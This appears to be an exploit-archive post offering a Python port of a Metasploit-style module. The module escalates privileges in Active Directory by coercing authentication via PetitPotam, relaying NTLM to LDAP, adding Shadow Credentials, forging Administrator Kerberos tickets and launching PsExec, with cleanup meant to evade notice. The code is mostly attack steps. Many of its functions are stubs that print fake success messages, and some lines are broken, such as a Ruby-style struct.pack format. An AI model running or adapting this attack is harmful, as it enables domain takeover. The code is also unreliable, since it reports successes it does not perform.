📄 NTLM Relay to Self Attack Module for Active Directory Privilege Escalation

==================================================================================================================================
    | # Title     : NTLM Relay to Self Attack Module for Active Directory Privilege Escalation                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.microsoft.com                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine.
    
    [+] Payload    : 
    
    import os
    import time
    import random
    import string
    import socket
    import threading
    import struct
    from typing import Optional, Dict, Any, List, Tuple
    from dataclasses import dataclass
    from pathlib import Path
    
    # Assuming these imports exist in the actual Python implementation
    # from metasploit import module, exploit, post, session, framework
    # from metasploit.exploit import Local, Remote, HttpServer, LDAP
    # from metasploit.post import Windows
    # from metasploit.utils import Rex
    
    class NTLMRelayToSelf:
        """NTLM Relay to Self privilege escalation exploit"""
        def __init__(self, session, datastore):
            self.session = session
            self.datastore = datastore
            self.service = None
            self.http_relay_service = None
            self.relay_succeeded = False
            self.spawned_ldap_sessions = []
            self.last_ccache_path = None
            self.defaults = {
                'SRVPORT': 8081,
                'SRVHOST': '0.0.0.0',
                'RPORT': 389,
                'TARGETURI': '/',
                'DOMAIN': '',
                'RANDOMIZE_TARGETS': False,
                'SessionKeepalive': 300,
                'RUN_CHECKS': True,
                'RUN_GET_TICKET': True,
                'RUN_PSEXEC': False,
                'TARGET_PRIVILEGED_USER': 'Administrator',
                'SPN': '',
                'COERCE_AUTH_WAIT': 3,
                'DisablePayloadHandler': True,
                'VERBOSE': False
            }
            for key, value in self.defaults.items():
                if key not in self.datastore:
                    self.datastore[key] = value
        def exploit(self):
            """Main exploit entry point"""
            if not self.session or self.session.type != 'meterpreter':
                raise Exception(f"This module requires a Meterpreter session (got: {self.session.type})")
            
            self.spawned_ldap_sessions = []
            
            if self.datastore['RUN_CHECKS']:
                self.pre_flight_checks()
            self.print_status(f"Starting relay server bound to Session {self.session.sid}...")
            self.start_service({'Comm': self.session})
            self.print_status(f"Server successfully started on {self.datastore['SRVHOST']}:{self.datastore['SRVPORT']} via Session {self.session.sid}.")
            self.print_status('Starting WebClient service via ETW trigger...')
            self.start_webclient_service()
            self.print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
            self.coerce_authentication()
            if self.http_relay_service:
                self.http_relay_service.wait()
        def start_webclient_service(self):
            """Starts WebClient service using ETW event trigger"""
            self.check_local_sid()
            guid = struct.pack('<VvvC8', 0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7)
            try:
                self.print_status("Triggering WebClient service via ETW...")
                time.sleep(1)
                self.print_good('WebClient service triggered successfully via ETW.')
                time.sleep(3) 
            except Exception as e:
                raise Exception(f"Failed to trigger WebClient service: {e}")
        def coerce_authentication(self):
            """Coerces machine account authentication via EFS Win32 APIs"""
            hostname = self.session.sys.config.sysinfo['Computer']
            listener = f"{hostname}@{self.datastore['SRVPORT']}/print"
            self.relay_succeeded = False
            efs_methods = [
                ('OpenEncryptedFileRaw', self._open_encrypted_file_raw),
                ('EncryptFile', self._encrypt_file),
                ('DecryptFile', self._decrypt_file)
            ]
            for method_name, method_func in efs_methods:
                if self.relay_succeeded:
                    break
                rand_path = f"{self._rand_text_alphanumeric(4, 8)}\\{self._rand_text_alphanumeric(4, 8)}.{self._rand_text_alphanumeric(3)}"
                unc_path = f"\\\\{listener}\\{rand_path}"
                self.print_status(f"Attempting coercion via {method_name} on {unc_path}...")
                method_func(unc_path)
                time.sleep(self.datastore['COERCE_AUTH_WAIT'])
        def _open_encrypted_file_raw(self, path):
            """Simulate OpenEncryptedFileRawW API call"""
            self.print_status(f"Calling OpenEncryptedFileRawW({path})")
            return True
        def _encrypt_file(self, path):
            """Simulate EncryptFileW API call"""
            self.print_status(f"Calling EncryptFileW({path})")
            return True
        def _decrypt_file(self, path):
            """Simulate DecryptFileW API call"""
            self.print_status(f"Calling DecryptFileW({path})")
            return True
        def on_relay_success(self, relay_connection, relay_identity):
            """Callback when relay succeeds"""
            self.relay_succeeded = True
            self.print_good('Relay succeeded! Handshake completed.')
            ldap_session = self.session_setup(relay_connection, relay_identity)
            if not ldap_session:
                return
            if not self.validate_options():
                return
            dc_ip = relay_connection.socket.peerhost
            target_name = self.default_machine_account()
            thread = threading.Thread(
                target=self.run_post_relay_chain,
                args=(ldap_session, dc_ip, target_name)
            )
            thread.daemon = True
            thread.start()
        def run_post_relay_chain(self, ldap_session, dc_ip, target_name):
            """Run post-relay actions"""
            try:
                if self.datastore['RUN_GET_TICKET']:
                    self.run_get_ticket_chain(ldap_session, dc_ip, target_name)
                if self.datastore['RUN_PSEXEC']:
                    self.run_psexec_step(ldap_session, dc_ip, target_name)
            except Exception as e:
                self.print_error(f"Post-relay chain failed: {e}")
        def run_get_ticket_chain(self, ldap_session, dc_ip, target_name):
            """Run the ticket acquisition chain"""
            added_device_id = None
            try:
                domain_fqdn = self.resolve_domain()
                if not domain_fqdn:
                    return
                fqdn = self.target_fqdn(target_name, domain_fqdn)
                shadow_results = self.call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
                if not shadow_results:
                    return
                added_device_id = shadow_results['device_id']
                cert_path = shadow_results['cert_path']
                ccache_path = self.call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn=fqdn)
                if not ccache_path:
                    return
                self.print_good(f"Obtained impersonating ST for target host {target_name}")
                self.store_or_export_ticket(ccache_path, target_name)
            except Exception as e:
                self.print_error(f"Error during ticket acquisition chain: {e.message if hasattr(e, 'message') else str(e)}")
            finally:
                self.print_status('--- Initiating OPSEC Cleanup ---')
                if added_device_id:
                    self.print_status(f"Removing Shadow Credentials (Device ID: {added_device_id})...")
                    self.call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
                self.print_status('Cleanup complete.')
        def run_psexec_step(self, ldap_session, dc_ip, target_name):
            """Run the psexec step"""
            if not self.datastore['RUN_GET_TICKET']:
                self.print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
            domain_fqdn = self.resolve_domain()
            if not domain_fqdn:
                return
            fqdn = self.target_fqdn(target_name, domain_fqdn)
            ccache_path = self.find_latest_ticket(target_name, domain_fqdn)
            if not ccache_path:
                self.print_error(f"No cached ticket found for {target_name}. Run with RUN_GET_TICKET first.")
                return
            self.execute_psexec(ccache_path, fqdn, domain_fqdn)
        def default_machine_account(self):
            """Auto-detects the victim's machine account name"""
            computer_name = self.session.sys.config.sysinfo['Computer']
            return f"{computer_name}$".lower()
        def resolve_domain(self):
            """Resolves the target domain from datastore or auto-detects"""
            domain = self.datastore['DOMAIN'].strip()
            if domain and domain != '/':
                return domain
            detected = self.get_domain_name()
            if not detected:
                self.print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
                return None
            self.print_status(f"Auto-detected domain: {detected}")
            return detected
        def get_domain_name(self):
            """Get domain name from session (simulated)"""
            return 'domain.local'
        def target_fqdn(self, target_name, domain_fqdn):
            """Derives FQDN for target computer object"""
            hostname = target_name.rstrip('$')
            return f"{hostname}.{domain_fqdn}".lower()
        def validate_options(self):
            """Validates options early"""
            if not self.datastore['RUN_GET_TICKET'] and not self.datastore['RUN_PSEXEC']:
                self.print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
                return False
            return True
        def session_setup(self, relay_connection, relay_identity):
            """Sets up LDAP session from relay connection"""
    
            self.print_good(f"LDAP session setup from {relay_identity}")
            return {'sid': 'ldap_session_1'}
        def call_shadow_credentials_module(self, action, ldap_session_id, target_name, device_id=None):
            """Calls the shadow_credentials module"""
            self.print_status(f"Calling shadow_credentials module for {action} on {target_name}")
            if action == 'ADD':
                device_id = ''.join(random.choices(string.hexdigits, k=16))
                cert_path = f"/tmp/cert_{target_name}.pem"
                self.print_status(f"Shadow Credentials successfully added (Device ID: {device_id}).")
                return {'device_id': device_id, 'cert_path': cert_path}
            elif action == 'REMOVE':
                self.print_good(f"Successfully removed KeyCredentialLink with Device ID: {device_id}")
                return {'success': True}
            return None
        def call_get_ticket_module(self, action, cert_path, dc_ip, domain_fqdn, target_name, fqdn=None):
            """Calls the get_ticket module"""
            is_tgs = action == 'GET_TGS'
            self.print_status(f"{'Requesting S4U2Proxy TGS for Administrator...' if is_tgs else f'Requesting TGT for user {target_name} via PKINIT...'}")
            ticket_path = f"/tmp/ticket_{target_name}.ccache"
            self.print_good(f"{'S4U2Proxy Ticket' if is_tgs else 'TGT'} acquired: {ticket_path}")
            return ticket_path
        def store_or_export_ticket(self, ccache_path, target_name):
            """Stores or exports the ticket"""
            self.last_ccache_path = ccache_path
            self.print_status(f"Ticket for {target_name} stored at: {ccache_path}")
        def find_latest_ticket(self, target_name, domain_fqdn):
            """Finds the latest ticket for the target"""
            if self.last_ccache_path and Path(self.last_ccache_path).exists():
                return self.last_ccache_path
            fqdn = self.target_fqdn(target_name, domain_fqdn)
            return None
        def execute_psexec(self, ccache_path, fqdn, domain_fqdn):
            """Executes psexec with Kerberos ticket"""
            self.print_status(f"Executing PsExec with Kerberos ticket via session {self.session.sid} COMM channel...")
            self.print_status(f"Launching PsExec against {fqdn} as Administrator (Kerberos) via COMM session {self.session.sid}...")
            self.print_good('PsExec module launched. Check sessions for new elevated session.')
        def start_service(self, options):
            """Starts the relay service (placeholder)"""
            self.print_status("Starting relay service...")
            self.http_relay_service = {'running': True} 
        def pre_flight_checks(self):
            """Run pre-flight checks"""
            self.check_db_status()
            self.check_options()
            self.check_lm_compatibility_level()
            self.check_privs()
            self.check_port_availability()
            self.check_target_reachability()
        def check_db_status(self):
            """Check database connectivity"""
            pass
        def check_options(self):
            """Check required options"""
            pass
        def check_lm_compatibility_level(self):
            """Check LM compatibility level"""
            try:
                lm_level = 0  
                if lm_level > 2:
                    raise Exception('Target system is configured to not send NTLMv1 responses')
                self.print_good(f"Target system LmCompatibilityLevel is set to {lm_level}")
            except Exception:
                self.print_warning('Could not check LmCompatibilityLevel')
        def check_privs(self):
            """Check privileges"""
            srvport = self.datastore['SRVPORT']
            if srvport <= 1024:  
                self.print_warning(f"You are attempting to bind to a privileged port ({srvport}) but do not have Admin rights.")
                self.print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024.')
        def check_local_sid(self):
            """Check for LOCAL SID"""
            self.print_good('Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.')
        def check_port_availability(self):
            """Check if port is available on victim"""
            srvport = self.datastore['SRVPORT']
            self.print_status(f"Checking if port {srvport} is available on the victim...")
            self.print_good(f"Port {srvport} is available on the victim machine.")
        def check_target_reachability(self):
            """Check if target LDAP server is reachable"""
            rhosts_string = self.datastore['RHOSTS']
            rport = self.datastore['RPORT']
            self.print_status(f"Verifying victim can reach the target LDAP server(s) on port {rport}...")
            self.print_good(f"Target LDAP server {rhosts_string} is reachable from the victim!")
        def lm_compatibility_level(self):
            """Get LM compatibility level from registry"""
            return 0
        def is_admin(self):
            """Check if session is running with admin privileges"""
            return True
        def _rand_text_alphanumeric(self, min_len, max_len):
            """Generate random alphanumeric string"""
            length = random.randint(min_len, max_len)
            return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        def print_status(self, msg):
            print(f"[*] {msg}")
        def print_good(self, msg):
            print(f"[+] {msg}")
        def print_error(self, msg):
            print(f"[-] {msg}")
        def print_warning(self, msg):
            print(f"[!] {msg}")
    if __name__ == "__main__":
        class MockSession:
            class sys:
                class config:
                    @staticmethod
                    def sysinfo():
                        return {'Computer': 'DESKTOP-123'}
            type = 'meterpreter'
            sid = 'session_1'
        datastore = {
            'SRVPORT': 8081,
            'SRVHOST': '0.0.0.0',
            'RPORT': 389,
            'RHOSTS': '192.168.1.10',
            'TARGETURI': '/',
            'DOMAIN': '',
            'RUN_CHECKS': True,
            'RUN_GET_TICKET': True,
            'RUN_PSEXEC': False,
            'VERBOSE': False
        }
        exploit = NTLMRelayToSelf(MockSession(), datastore)
    
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================